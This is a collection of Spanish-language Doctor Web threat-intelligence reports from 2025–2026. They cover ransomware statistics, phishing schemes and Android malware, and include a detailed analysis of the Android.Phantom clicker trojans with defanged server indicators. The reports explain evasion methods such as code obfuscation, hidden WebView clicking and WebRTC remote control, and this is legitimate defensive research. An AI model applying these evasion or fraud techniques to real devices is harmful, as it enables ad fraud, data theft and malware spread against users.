En el I trimestre de 2026, el número de solicitudes de descifrado de archivos afectados por programas troyanos cifradores se redujo un 31,51 % en comparación con el IV trimestre del año anterior. El descenso se produjo en el contexto de las vacaciones de Año Nuevo y los largos días festivos relacionados con ellas, durante los cuales algunos ciberdelincuentes podían suspender su actividad e irse de vacaciones. Al mismo tiempo, los usuarios que sí resultaron afectados por ataques de troyanos cifradores en ese periodo podían no reaccionar inmediatamente ante los incidentes ocurridos.

Dinámica de recepción de solicitudes de descifrado en el Servicio de Soporte Técnico de Doctor Web:

Cifradores más populares del I trimestre de 2026

Trojan.Encoder.35534 — 15,59% de solicitudes de usuarios
Trojan.Encoder.29750 — 3,23% de solicitudes de usuarios
Trojan.Encoder.41868 — 3,23% de solicitudes de usuarios
Trojan.Encoder.26996 — 1,62% de solicitudes de usuarios
Trojan.Encoder.44383 — 1,61% de solicitudes de usuarios

Fraudulencias en la red

Durante los últimos 3 meses, los analistas de internet de la empresa Doctor Web detectaron una serie de nuevos sitios falsos de marketplaces. En ellos, los atacantes ofrecen participar en una «liquidación» de supuestos pedidos no recogidos. El esquema fraudulento es el siguiente: los artículos «no reclamados» de los pedidos se dividen en distintas categorías (electrónica, ropa, calzado, cosmética, etc.) y supuestamente se colocan en las correspondientes cajas sorpresa. Se desconoce su contenido y este puede incluir, entre otras cosas, artículos caros. Al mismo tiempo, a las potenciales víctimas se les ofrece comprar esas cajas por un precio relativamente bajo, lo que constituye el principal gancho.

Un sitio falso del marketplace promete una «liquidación de pedidos no reclamados» que supuestamente están desbordando los almacenes

Cuando el usuario elige una de las cajas, se le propone tramitar el pedido e indicar los datos personales, que pueden incluir nombre y apellidos, número de teléfono móvil y dirección de correo electrónico. Después se le redirige a una página de pago a través del Sistema de Pagos Instantáneos. Como resultado, la víctima pierde dinero y entrega la información confidencial a los estafadores.

Una vez tramitado el «pedido», se propone a la víctima pagarlo a través del Sistema de Pagos Instantáneos

Nuestros expertos también detectaron múltiples sitios de servicios que ofrecen varios servicios financieros, por ejemplo, la posibilidad de obtener bastante un micropréstamo, un crédito bastante rápido o pasar por un procedimiento de quiebra. Tales servicios no prestan por sí mismos esos servicios, como esperan los usuarios, y son solo intermediarios entre los clientes y las organizaciones financieras. De pago, dan acceso a una selección de opciones potencialmente adecuadas, mientras que la agregación de este tipo de ofertas financieras está disponible en fuentes gratuitas. Además, estos servicios no garantizan un resultado satisfactorio al presentar la solicitud. Al mismo tiempo, el pago por el acceso no es único, sino que constituye una suscripción de pago con cargos periódicos.

Uno de los sitios web en los que el acceso al servicio de selección de ofertas financieras es de pago y se formaliza en forma de suscripción

En algunos casos, este tipo de recursos puede inducir a error a los usuarios, ofreciendo un servicio, por ejemplo, empleo, pero en realidad proporcionando acceso a las mismas ofertas financieras para la obtención de créditos, micropréstamos, etc mediante suscripción.

Un sitio web promete ayuda en la búsqueda de empleo, pero tras pagar el acceso al servicio, en lugar de una lista de vacantes puede proporcionar ofertas financieras de socios para obtener un crédito, un micropréstamo y similares

Entre los sitios de phishing detectados en el I trimestre había recursos falsos en Internet de la carrera benéfica «Maratón Verde». En ellos se ofrece a los visitantes registrarse para participar en el maratón; sin embargo, estos sitios no guardan relación con el evento y han sido creados para recopilar datos confidenciales de los usuarios.

Uno de los sitios falsos de la carrera «Maratón Verde»

Los analistas de internet de Doctor Web también detectaron nuevos sitios falsos de servicios de inversión, supuestamente relacionados con distintas entidades de crédito. Entre ellos había sitios orientados a público de Rusia, Kazajistán y otros países. Los estafadores prometen a las potenciales víctimas altos beneficios y, para «acceder» a las pseudoplataformas de inversión, les piden completar una breve encuesta y registrar una cuenta, indicando información personal.

Un ejemplo de sitio de phishing que los atacantes hacen pasar por el recurso oficial del servicio de inversión de uno de los bancos rusos

Un ejemplo de sitio de phishing que los atacantes hacen pasar por el recurso oficial del servicio de inversión de una de las entidades de crédito de Kazajistán

Conozca más sobre los sitios web no recomendados por el antivirus Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos de las estadísticas de detecciones de Dr.Web Security Space para dispositivos móviles, en el I trimestre de 2026 continuó el crecimiento de la actividad de los troyanos bancarios Android.Banker, que se había observado en el IV trimestre del año anterior. Los más frecuentes entre ellos fueron representantes de la subfamilia Android.Banker.Mamont. Al mismo tiempo, volvió a reducirse el número de detecciones de los troyanos publicitarios Android.MobiDash y Android.HiddenAds.

Entre el software potencialmente peligroso detectado, encabezaban la lista los programas en los que, mediante herramientas de modding, se había insertado código basura (se detectan como Tool.Obfuscator.TrashCode). Esta técnica se emplea actualmente de forma activa para proteger los troyanos bancarios frente a su detección por los antivirus. Además, seguían siendo frecuentes las aplicaciones modificadas con la utilidad NP Manager (se detectan como Tool.NPMod).

El software no deseado detectado con mayor frecuencia fueron los falsos antivirus Program.FakeAntiVirus, que para «eliminar» las supuestas amenazas detectadas exigen comprar la versión completa. El adware más activo en el I trimestre fueron los programas Adware.Bastion.1.origin y Adware.Opensite.15. Los primeros son aplicaciones optimizadoras que crean notificaciones con mensajes sobre una supuesta falta de memoria y errores del sistema para mostrar publicidad durante la «optimización». Los segundos son falsos programas de trucos para obtener diversos recursos en juegos, pero en realidad solo cargan sitios web con publicidad.

En enero de 2026, nuestro laboratorio antivirus advirtió sobre los troyanos clicker Android.Phantom. Este malware utiliza aprendizaje automático y retransmisiones de vídeo para inflar artificialmente los clics en sitios web. Los ciberdelincuentes lo distribuían de varias maneras a la vez: a través del catálogo GetApps para dispositivos Xiaomi, canales de Telegram, servidores de Discord, recopilaciones de software de terceros y sitios maliciosos.

Durante los últimos 3 meses, los analistas de virus de Doctor Web detectaron en el catálogo de Google Play nuevas amenazas, entre las que había aplicaciones troyanas Android.Joker y Android.Subscription, destinadas a suscribir a los usuarios a servicios de pago.

Los eventos más destacados vinculados a la seguridad “móvil” en el I trimestre

Los troyanos bancarios Android.Banker se convirtieron en las amenazas más frecuentes para los dispositivos Android
Los ciberdelincuentes utilizaron con mayor frecuencia utilidades para el modding de aplicaciones Android, con el fin de proteger los troyanos bancarios frente a su detección por los antivirus
Continuó la tendencia a la disminución de la actividad de los troyanos publicitarios Android.MobiDash y Android.HiddenAds
Los usuarios estuvieron amenazados por los troyanos Android.Phantom, que utilizan aprendizaje automático y retransmisiones de vídeo para inflar artificialmente los clics en sitios web
En el catálogo de Google Play volvió a difundirse malware

Lea con más detalle sobre la situación viral para dispositivos móviles en el I trimestre de 2026 en nuestro informe.

Doctor Web: informe de la actividad de virus para dispositivos móviles en el I trimestre de 2026

Wed, 01 Apr 2026 00:00:00 GMT

1 de abril de 2026

Según los datos de las estadísticas de detecciones de Dr.Web Security Space para dispositivos móviles, en el I trimestre de 2026 continuó el descenso de la actividad del malware Android.MobiDash y Android.HiddenAds, que muestra publicidad molesta. Los primeros se detectaron en los dispositivos protegidos un 32,70 % menos, y los segundos, un 7,09 % menos en comparación con el IV trimestre del pasado año. Cedieron el liderazgo a los troyanos bancarios de la familia Android.Banker, cuya actividad aumentó más de 2,5 veces en los últimos 3 meses. Como resultado, estos se convirtieron en las amenazas para Android más extendidas. Este malware intercepta SMS con códigos de confirmación de operaciones bancarias, muestra ventanas de phishing y también puede imitar el aspecto del software bancario auténtico para robar datos confidenciales. Los usuarios se enfrentaron con mayor frecuencia a los troyanos de la subfamilia Android.Banker.Mamont, de la que forman parte diversas muestras de malware.

En el I trimestre se generalizó ampliamente el uso de aplicaciones a las que, con ayuda de herramientas de hacking para el modding NP Manager, se añadió código basura con el fin de confundir la lógica (15,35 % del número total de detecciones). Desde el otoño del año pasado, estas herramientas se utilizan activamente en los troyanos de la familia Android.Banker.Mamont para dificultar su detección por los antivirus, por lo que advertimos de que una u otra aplicación ha sido modificada. Los productos antivirus Dr.Web detectan este tipo de programas como Tool.Obfuscator.TrashCode.

Otro software potencialmente peligroso muy popular, a pesar del descenso del número de detecciones en un 31,65 %, volvió a ser el de los programas modificados con la utilidad NP Manager (detectados por Dr.Web como Tool.NPMod). Esta utilidad contiene varios módulos para la protección y ofuscación del código de los programas, así como para esquivar la verificación de su firma digital después de la modificación. Los ciberdelincuentes la utilizan para proteger el malware con el fin de dificultar su detección por los antivirus.

Las aplicaciones no deseadas más populares fueron los falsos antivirus Program.FakeAntiVirus, que supuestamente detectan amenazas y exigen adquirir la versión completa para su «eliminación». Además, los usuarios volvieron a enfrentar programas de las familias Program.FakeMoney y Program.CloudInject. Los primeros supuestamente permiten ganar dinero realizando varias tareas. Los segundos son software modificado a través del servicio en la nube CloudInject. Con su ayuda, a las aplicaciones se les añaden permisos del sistema peligrosos y código ofuscado cuya funcionalidad no se puede controlar.

Entre el adware, los líderes por número de detecciones fueron los programas optimizadores Adware.Bastion.1.origin. De forma periódica, crean notificaciones con mensajes engañosos sobre una supuesta falta de memoria y errores del sistema. Su objetivo es mostrar publicidad durante la «optimización». Otro adware popular fueron las aplicaciones Adware.Opensite.15, que los atacantes hacen pasar por herramientas de trucos para obtener recursos en juegos. En realidad, estos programas cargan diversos sitios con anuncios. También volvieron a difundirse programas con módulos publicitarios integrados Adware.AdPush.

En enero, la empresa Doctor Web informó a los usuarios sobre Android.Phantom, una nueva familia de troyanos clicker. Nuestros analistas de virus detectaron varias fuentes de distribución de este malware. Entre ellas, el catálogo oficial de aplicaciones GetApps para dispositivos Xiaomi, donde los troyanos fueron incorporados en varios juegos. Además, los ciberdelincuentes distribuían los clickers junto con mods de aplicaciones populares a través de varios canales de Telegram, servidores de Discord, recopilaciones de software en línea y sitios maliciosos.

Con ayuda de Android.Phantom, los atacantes inflan artificialmente los clics publicitarios en sitios web, utilizando para ello tecnologías de aprendizaje automático y WebRTC, una tecnología de transmisión de datos en streaming (incluido vídeo) a través del navegador. Los troyanos cargan en un WebView invisible los recursos de Internet objetivo junto con código JavaScript para simular acciones del usuario. La interacción con los anuncios se produce en uno de dos modos. Si en el dispositivo es posible utilizar WebRTC, los clickers Android.Phantom transmiten a los atacantes una pantalla virtual con el sitio cargado, y estos la controlan manualmente o mediante un sistema automatizado.

Si WebRTC no está disponible, se aplican scripts automatizados en lenguaje JavaScript que utilizan el framework TensorFlowJS. Los clickers descargan desde un servidor remoto el modelo de comportamiento necesario, así como JavaScript que contiene el propio framework y todas las funciones necesarias para el funcionamiento del modelo y la interacción con los sitios objetivo.

Durante el I trimestre, el laboratorio antivirus de la empresa Doctor Web registró la aparición de nuevas amenazas en el catálogo de Google Play. Entre ellas, numerosas aplicaciones troyanas, así Android.Joker, asó como el malware Android.Subscription.23 y Android.Subscription.24. Todos ellos han sido creados para suscribir a los usuarios a servicios de pago.

Principales tendencias del I trimestre

Los troyanos bancarios Android.Banker se convirtieron en las amenazas para Android más extendidas
Los atacantes empezaron a utilizar con mayor frecuencia herramientas de modding de programas Android con el fin de proteger los troyanos bancarios
Continuó el descenso de la actividad de los troyanos publicitarios Android.MobiDash y Android.HiddenAds
Se difundieron las aplicaciones troyanas Android.Phantom, que utilizan aprendizaje
Se detectó nuevo malware en el catálogo Google Play

Según los datos Dr.Web Security Space para dispositivos móviles

Android.Banker.Mamont.80.origin: Troyano bancario que intercepta SMS con códigos de un solo uso de entidades de crédito, el contenido de las notificaciones y también recopila otra información confidencial. Esta incluye datos técnicos sobre el dispositivo infectado, la lista de aplicaciones instaladas, información sobre la tarjeta SIM, llamadas telefónicas, SMS recibidos y enviados.
Android.FakeApp.1600: Troyano que carga el sitio web especificado en su configuración. Las modificaciones conocidas de este malware cargan un sitio de casino en línea.
Android.HiddenAds.675.origin: Troyano destinado a mostrar publicidad intrusiva. Los representantes de la familia Android.HiddenAds suelen difundirse bajo la apariencia de aplicaciones inofensivas y, en algunos casos, otro malware los instala en el directorio del sistema. Una vez en los dispositivos Android, estos troyanos publicitarios suelen ocultar al usuario su presencia en el sistema; por ejemplo, «esconden» el icono de la aplicación del menú de la pantalla principal.
Android.Packed.57.origin: Detección de un ofuscador que, entre otras cosas, se utiliza para proteger malware (por ejemplo, algunas versiones de los troyanos bancarios Android.SpyMax).
Android.Click.1812: Detección de mods maliciosos del messenger WhatsApp, que pueden cargar diversos sitios en segundo plano sin autorización del usuario.

Program.FakeAntiVirus.1: Detección de programas publicitarios que imitan el funcionamiento del software antivirus. Estos programas pueden informar de amenazas inexistentes e inducir a error a los usuarios, exigiendo el pago de la versión completa.
Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero realizando una u otra acción o tarea. Estos programas simulan el abono de recompensas, y para retirar el dinero «ganado» es necesario acumular una determinada cantidad. Normalmente incluyen una lista de sistemas de pago y bancos populares a través de los cuales supuestamente es posible retirar las recompensas. Pero incluso cuando los usuarios consiguen acumular una cantidad suficiente para la retirada, los pagos prometidos no llegan. Esta detección también identifica otro software no deseado basado en el código de esos programas.
Program.CloudInject.5
Program.CloudInject.1: Detección de aplicaciones Android modificadas con ayuda del servicio en la nube CloudInject y de la utilidad Android del mismo nombre (añadida a la base de virus de Dr.Web como Tool.CloudInject). Estos programas se modifican en un servidor remoto, y el usuario interesado en su modificación (modder) no controla qué es exactamente lo que se integrará en ellos. Además, las aplicaciones reciben un conjunto de permisos peligrosos. Una vez modificados los programas, el modder puede administrarlos a distancia: bloquearlos, mostrar diálogos configurables, rastrear la instalación y desinstalación de otro software, etc.
Program.SnoopPhone.1.origin: Programa de vigilancia de los titulares de dispositivos Android. Permite leer SMS, obtener información sobre llamadas telefónicas, rastrear la ubicación del dispositivo y realizar grabaciones de audio del entorno.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Detección de programas Android a los que, con ayuda de herramientas de hacking para el modding de aplicaciones, se ha añadido código basura. Esta modificación se realiza con el fin de confundir la lógica de los programas. Esta técnica es frecuente en los troyanos bancarios y en las versiones pirata de software.
Tool.NPMod.3
Tool.NPMod.1: Detección de aplicaciones Android modificadas con ayuda de la utilidad NP Manager. Esta utilidad contiene módulos para la ofuscación y protección del código de los programas, así como para eludir la verificación de su firma digital tras la modificación. La ofuscación que añade se utiliza con frecuencia en el malware para dificultar su detección y análisis.
Tool.LuckyPatcher.2.origin: Utilidad que permite modificar aplicaciones Android instaladas (crear parches para ellas) con el fin de cambiar la lógica de su funcionamiento o eludir determinadas restricciones. Por ejemplo, con su ayuda los usuarios pueden intentar desactivar la comprobación del acceso root en programas bancarios u obtener recursos ilimitados en juegos. Para crear parches, la utilidad descarga de internet unos scripts especialmente preparados, que cualquiera puede crear y añadir a la base general. La funcionalidad de dichos scripts puede resultar incluso maliciosa, por lo que los parches creados pueden ser de peligro potencial.

Adware.Bastion.1.origin: Detección de programas optimizadores que de forma periódica crean notificaciones con mensajes engañosos sobre una supuesta falta de memoria y errores del sistema con el fin de mostrar publicidad durante la «optimización».
Adware.AdPush.3.origin: Módulo publicitario que puede integrarse en programas Android. Muestra notificaciones publicitarias que inducen a error a los usuarios. Por ejemplo, estas notificaciones pueden parecerse a mensajes del sistema operativo. Además, este módulo recopila una serie de datos confidenciales y también puede cargar otras aplicaciones e iniciar su instalación.
Adware.Opensite.15: Aplicaciones que se hacen pasar por herramientas de trucos para obtener recursos en juegos. En realidad, han sido creadas para mostrar publicidad. Estos programas reciben de un servidor remoto una configuración conforme a la cual cargan un sitio objetivo con anuncios: banners, ventanas emergentes, vídeos, etc.
Adware.Fictus.1.origin: Módulo publicitario que los atacantes integran en versiones clones de juegos y programas Android populares. Su integración en los programas se realiza mediante un comprimidor especializado net2share. Las copias de software creadas de este modo se distribuyen a través de varios catálogos de aplicaciones y, una vez instaladas, muestran publicidad no deseada.
Adware.Airpush.7.origin: Módulos de software integrados en aplicaciones Android que muestran diversos tipos de publicidad. En función de la versión y la modificación, puede tratarse de notificaciones publicitarias, ventanas emergentes o banners. Con ayuda de estos módulos, los atacantes suelen distribuir malware, proponiendo instalar uno u otro software. Además, estos módulos transmiten a un servidor remoto la información confidencial de varios tipos.

Amenazas en Google Play

En el I trimestre de 2026, los expertos del laboratorio antivirus de Doctor Web detectaron en el catálogo de Google Play nuevo malware Android.Joker, que suscribe a las víctimas a servicios de pago. Los troyanos se ocultaban en diversas utilidades para optimizar el funcionamiento de los dispositivos Android, y también se distribuían bajo la apariencia de messengers, software multimedia y otro tipo de programas. En total, los usuarios los instalaron al menos 370 000 veces.

Ejemplos de malware Android.Joker detectado en Google Play en el I trimestre del año 2026. Android.Joker.2511 fue incrustado en el messenger Private Chat Message, y Android.Joker.2524 — en el programa de cámara de fotos Magic Camera

Además, nuestros analistas de virus detectaron el malware Android.Subscription.23 y Android.Subscription.24, también destinado a suscribir a los usuarios a servicios de pago. Los troyanos cargan sitios web en los que, mediante la tecnología Wap Click, se activan suscripciones móviles de pago. En estos sitios se solicita a los usuarios el número de teléfono móvil, tras lo cual se intenta activar automáticamente el servicio. Ambas aplicaciones maliciosas fueron descargadas en conjunto desde el catálogo de Google Play más de 1 500 000 veces.

El malware Android.Subscription.23 y Android.Subscription.24 se distribuía bajo la apariencia de las aplicaciones Stream Hive y Prime Link para la gestión de finanzas personales; sin embargo, su única funcionalidad era cargar sitios para suscribir a los propietarios de dispositivos Android a servicios móviles de pago

Para proteger los dispositivos Android frente al malware y las aplicaciones no deseadas, recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Los troyanos de la familia Android.Phantom penetran en smartphones junto con juegos y mods piratas de aplicaciones populares. Usan aprendizaje automático y transmisiones de vídeo para la generación fraudulenta de clics

Wed, 21 Jan 2026 04:00:00 GMT

21 de enero de 2025

Los expertos del laboratorio antivirus de Doctor Web detectaron e investigaron una nueva familia de troyanos con funcionalidad de clicker. Tienen una peculiaridad en común: se administran desde el servidor hxxps[:]//dllpgd[.]click, o se cargan y se ejecutan por comando del mismo. El malware de este tipo infecta smartphones con SO Android.

Uno de los canales de propagación de troyanos es un catálogo oficial de aplicaciones para dispositivos Xiaomi GetApps.

Hemos conseguido rastrear varios juegos móviles que contienen malware: Creation Magic World (más de 32 mil descargas), Cute Pet House (>34 mil descargas), Amazing Unicorn Party (>13 mil descargas), Academia de sueños Sakura (>4 mil descargas), Theft Auto Mafia (>61 mil descargas), Open World Gangsters (>11 mil descargas). Todos los juegos infectados se publicaron en nombre de un solo desarrollador, SHENZHEN RUIREN NETWORK CO., LTD.; los troyanos están incrustados en ellos y se ejecutan junto con las aplicaciones.

En las versiones iniciales de los juegos no había malware. El 28/29 de septiembre, el desarrollador publica actualizaciones para los juegos que tienen incrustado el troyano Android.Phantom.2.origin. Funciona en dos modos, que en el código del programa se llaman modo de señalización (signaling) y phantom.

En el modo phantom, el malware utiliza un navegador integrado basado en el widget WebView, oculto para el usuario. En el mismo, por orden del servidor hxxps[:]//playstations[.]click, se carga el sitio objetivo para la generación fraudulenta de clics y el archivo JavaScript «phantom». Este último contiene un script para automatizar acciones sobre los anuncios publicitarios del sitio cargado y el framework de aprendizaje automático TensorFlowJS. El modelo para este framework se descarga desde el servidor hxxps[:]//app-download[.]cn-wlcb[.]ufileos[.]com al directorio de la aplicación. En los scripts para trabajar con algunos tipos de publicidad, Android.Phantom.2.origin coloca el navegador en una pantalla virtual y hace capturas de pantalla. El troyano las analiza mediante el modelo para el framework TensorFlowJS y, después, hace clic en los elementos detectados.

En el modo alternativo signaling, el troyano se conecta a un servidor de terceros mediante WebRTC. Esta tecnología permite a navegadores y aplicaciones establecer una conexión directa para intercambiar datos, audio y vídeo en tiempo real sin instalar software adicional. En el modo signaling, el ya mencionado hxxps[:]//dllpgd[.]click actúa como servidor de señalización, que establece las conexiones entre los nodos WebRTC. Además, este servidor determina el modo de funcionamiento del troyano, phantom o signaling. Las tareas con los sitios objetivo llegan desde hxxps[:]//playstations[.]click. A continuación, Android.Phantom.2.origin, de forma oculta para el usuario, transmite a los atacantes el vídeo de la pantalla virtual con el sitio cargado en el navegador. El troyano permite que el nodo WebRTC conectado controle de forma remota el navegador en la pantalla virtual: hacer clic, desplazarse, introducir o pegar texto en el formulario de entrada.

El 15/16 de octubre, los juegos mencionados recibieron otra actualización. Además de Android.Phantom.2.origin, se incrustó en ellos el módulo Android.Phantom.5. Este actúa como dropper y contiene en su interior el cargador de código remoto Android.Phantom.4.origin. Este programa descarga varios troyanos más, destinados a imitar clics en distintos sitios. Estos módulos son más básicos que el clicker Android.Phantom.2.origin: no usan aprendizaje automático ni transmisiones de vídeo, sino que se guían por scripts de clic escritos en JavaScript.

Para usar la tecnología WebRTC en Android, el troyano necesita conectar una biblioteca especial con Java API, que no forma parte del sistema operativo estándar ni de las aplicaciones descargadas. Por ello, al principio el troyano funcionaba principalmente en modo phantom. Al incrustar Android.Phantom.5 a las aplicaciones, el troyano Android.Phantom.2.origin ya pudo usar el cargador de código remoto Android.Phantom.4.origin para descargar la biblioteca necesaria.

Los malintencionados también usan otros canales de propagación de troyanos Android.Phantom.2.origin y Android.Phantom.5. Por ejemplo, mods del servicio de streaming musical Spotify con las funciones premium desbloqueadas. Se publican en distintos sitios web; aquí pueden consultarse algunos ejemplos:

Sitio web Spotify Plus

Sitio web Spotify Pro

Y en canales de Telegram especiales:

Spotify Pro
(54 400 suscriptores)

Spotify Plus – Official
(15 057 suscriptores)

Los mods de Spotify, publicados en sitios web y en los canales de Telegram indicados en las capturas de pantalla, contienen Android.Phantom.2.origin y la biblioteca para establecer la comunicación mediante el estándar WebRTC en Android.

Además de los mods de Spotify, los atacantes incrustan troyanos en mods de otras aplicaciones populares: YouTube, Deezer, Netflix, etc. Están publicados en sitios especializados en mods:

Sitio web Apkmody

Sitio web Moddroid

El sitio Moddroid tiene una sección «Selección del editor». De las 20 aplicaciones incluidas, solo 4 estaban limpias. Las otras 16 contenían troyanos de la familia Android.Phantom. Las aplicaciones de estos dos sitios se descargan desde un mismo servidor CDN hxxps[:]//cdn[.]topmongo[.]com. Estos sitios tienen sus propios canales de Telegram, donde los usuarios descargan mods infectados con troyanos:

Moddroid.com
(87 653 suscriptores)

Apkmody Chat
(6 297 suscriptores)

Además, para sus fines los delincuentes utilizan servidores de Discord. El más grande de ellos es Spotify X, con unos 24 mil suscriptores.

Los administradores de los servidores de Discord no dudan en ofrecer directamente los mods infectados. Por ejemplo, en la captura de pantalla anterior, el administrador, en nombre del servidor, propone descargar un mod del servicio de streaming musical Deezer en vez de Spotify, ya que este último dejó de funcionar.

A través del enlace se descarga un mod operativo. Su código está protegido por un empaquetador comercial; dentro se oculta el troyano Android.Phantom.1.origin. Se trata de un cargador de código remoto que, por orden del servidor hxxps[:]//dllpgd[.]click, descarga los ya conocidos Android.Phantom.2.origin, Android.Phantom.5 y el troyano espía Android.Phantom.5.origin. Este último envía información del dispositivo a los atacantes, incluido el número de teléfono, la geolocalización y la lista de aplicaciones instaladas.

Esta captura de pantalla del servidor muestra en qué idiomas hablan los usuarios objetivo de la infección. Para acceder a los chats en idiomas distintos del inglés, es necesario reaccionar con la bandera correspondiente. Los más numerosos son los usuarios que hablan español, francés, alemán, polaco e italiano (sin tomar en cuenta el inglés, que es el idioma principal del servidor). Además, los administradores del servidor no han previsto chats para muchos países de Asia.

Los troyanos pueden causar un daño considerable a los propietarios de los dispositivos infectados. Podrían darse, entre otros, los siguientes casos:

Complicidad involuntaria. El smartphone del usuario puede utilizarse como bot en un ataque DDoS, por lo tanto, su titular se convierte en un cómplice involuntario de un ciberdelito.
Actividad ilegal. A través del dispositivo, los atacantes pueden realizar actividad ilegal en línea; por ejemplo, usar el smartphone en esquemas de fraude o enviar mensajes de spam.
Consumo elevado de batería y tráfico. La actividad ajena descarga la batería y consume tráfico de Internet.
Filtración de datos personales. Android.Phantom.5.origin es un spyware y puede transmitir datos sobre el dispositivo y su titular.

Los troyanos de esta familia suponen una amenaza para los titulares de dispositivos móviles Android que no están protegidos con un software antivirus actualizado. Los usuarios rusos tienen dificultades para registrarse en aplicaciones extranjeras o pagar suscripciones. La situación empuja a buscar y utilizar formas alternativas, a menudo semiclandestinas, de obtener los servicios de estas empresas. Esto favorece a los creadores de malware, ya que los usuarios se ven obligados a asumir riesgos y a confiar en opciones dudosas. Un grupo especialmente vulnerable son los niños, que no piensan en las normas de higiene digital y solo quieren jugar, escuchar música o ver videoclips.

Recomendamos no descargar mods en sitios y canales dudosos. Por lo general, comprobar las fuentes de mods o aplicaciones requiere tiempo, experiencia y criterio. Por eso, la mejor forma de garantizar tranquilidad para uno mismo y sus seres queridos es usar Dr.Web Security Space en dispositivos móviles. Protegerá no solo sus smartphones, sino también otros dispositivos inteligentes: consolas de videojuegos, tabletas y smart TV.

Indicadores de compromiso
Más información sobre Android.Phantom.1.origin
Más información sobre Android.Phantom.2.origin
Más información sobre Android.Phantom.3
Más información sobre Android.Phantom.4.origin
Más información sobre Android.Phantom.5
Más información sobre Android.Phantom.5.origin

Doctor Web: informe de la actividad de virus en el año 2025

Thu, 15 Jan 2026 00:00:00 GMT

15 de enero de 2026

En 2025, algunas de las amenazas más activas fueron los troyanos diseñados para visualizar publicidad. Los usuarios también se enfrentaron a varios scripts maliciosos y aplicaciones troyanas que ejecutan otro malware en los sistemas infectados. En el tráfico de correo electrónico se detectaron con mayor frecuencia los programas troyanos descargadores, backdoors, exploits, scripts maliciosos y documentos de phishing.

Entre las amenazas móviles, las más populares fueron los troyanos publicitarios y los programas falsos utilizados en distintos esquemas de fraude. Asimismo, se observó un aumento de la actividad de los troyanos bancarios. Al mismo tiempo, los analistas de virus de Doctor Web descubrieron decenas de nuevos programas maliciosos, no deseados y publicitarios en el catálogo de Google Play.
En comparación con 2024, se redujo el número de solicitudes de los usuarios para el descifrado de archivos. Al mismo tiempo, a lo largo del año nuestros analistas de Internet registraron un aumento del número de sitios web fraudulentos creados para robar las cuentas de los usuarios del messenger Telegram. Además, volvieron a proliferar sitios web no deseados de temática financiera.

En 2025, el laboratorio antivirus de Doctor Web investigó varios ataques dirigidos, uno de los cuales se perpetró contra una empresa rusa de ingeniería mecánica. En el transcurso del ataque, los delincuentes utilizaron una serie de aplicaciones maliciosas con las que intentaban obtener datos confidenciales de los ordenadores infectados. Nuestros expertos detectaron que el grupo de hackers Scaly Wolf estuvo implicado en el ataque. Otro incidente afectó a una institución estatal rusa, que fue atacada por el grupo Cavalry Werewolf. Los analistas de malware de Doctor Web identificaron múltiples herramientas maliciosas utilizadas por los atacantes, y también analizaron las características del grupo y las acciones que le son propias dentro de las redes comprometidas.
A lo largo de 2025, la empresa Doctor Web también informó sobre otros incidentes de seguridad de la información. En enero, nuestro laboratorio antivirus detectó una campaña activa de minería de la criptomoneda Monero, organizada mediante el uso de múltiples tipos de malware. En abril, informamos asimismo sobre un troyano detectado en el firmware de varios modelos de smartphones Android, con cuya ayuda los ciberdelincuentes robaban criptomonedas. Además, ese mismo mes, nuestros expertos detectaron un troyano para Android que los atacantes habían integrado en una de las versiones de una popular aplicación de cartografía y que utilizaban para espiar a militares rusos.

En julio, los expertos de Doctor Web informaron sobre una nueva familia de troyanos creada para robar criptomonedas y contraseñas. Los delincuentes los distribuían haciéndolos pasar por mods, trucos y parches para juegos. En agosto, los analistas de malware advirtieron sobre la propagación de un backdoor multifuncional para dispositivos móviles, dirigido a representantes del sector empresarial ruso. Los ciberdelincuentes lo controlaban de forma remota, robando con su ayuda datos confidenciales y vigilando a las víctimas.
En octubre, informamos sobre un backdoor para dispositivos Android que los ciberdelincuentes propagaban como parte de versiones modificadas del messenger Telegram X. Este malware roba los nombres de usuario y contraseñas de las cuentas de Telegram, así como otros datos confidenciales. Con su ayuda, los creadores de malware pueden administrar las cuentas comprometidas de las víctimas y controlar por completo el propio mensajero, realizando diversas acciones en nombre de los usuarios.
En diciembre, publicamos en nuestro sitio web un material sobre un troyano que “infla” la popularidad de los sitios web y, para ello, se hace pasar por una persona, de modo que sus acciones no sean bloqueadas por los sistemas antibot de las plataformas en línea. El malware busca de forma autónoma los sitios necesarios en los motores de búsqueda, los abre y realiza clics en las páginas web de acuerdo con los parámetros recibidos de los atacantes.
En 2025 también se observó un aumento de la popularidad de los ataques ClickFix, en los que los delincuentes utilizan técnicas de ingeniería social para que los propios usuarios ejecuten código malicioso en sus dispositivos.

Tendencias clave del año

Se detectó una alta actividad de troyanos bancarios
Se realizaron nuevos ataques objetivo
Se observó un crecimiento de popularidad de ataques con el método ClickFix
Bajó el número de incidentes con troyanos cifradores
Aumentó el número de detecciones de troyanos bancarios para Android
Se detectaron nuevos casos de infección de firmware de dispositivos en Android
En el catálogo Google Play otra vez se propagó varios tipos de malware y software no deseado

Los eventos más destacados del año 2025

En enero de 2025, los especialistas de Doctor Web detectaron una campaña de minería de la criptomoneda Monero que utilizaba el miner malicioso SilentCryptoMiner. Sus archivos estaban camuflados como distintos tipos de software, por ejemplo, programas para realizar videollamadas. Al infectar los ordenadores, eliminaban otros mineros que pudieran haberse instalado previamente en el sistema. En el marco de esta campaña, los atacantes emplearon esteganografía para distribuir algunos componentes maliciosos, una técnica que permite ocultar unos datos entre otros (por ejemplo, en imágenes). Tras descargar imágenes creadas de forma especial, los componentes correspondientes de SilentCryptoMiner se extraían de ellas y se ejecutaban.

En abril, nuestros analistas de malware informaron sobre el troyano Android.Clipper.31, detectado en el firmware de varios modelos económicos de smartphones Android. Los atacantes lo integraron en una versión modificada del mensajero WhatsApp, que posteriormente preinstalaron en los dispositivos, comprometiendo la cadena de suministro de algunos fabricantes. Android.Clipper.31 intercepta los mensajes enviados y recibidos en el messenger, busca en ellos direcciones de monederos de criptomonedas Tron y Ethereum y las sustituye por direcciones pertenecientes a los ciberdelincuentes. Al mismo tiempo, el troyano oculta la sustitución, de modo que las víctimas ven en los mensajes direcciones de monederos aparentemente correctas.

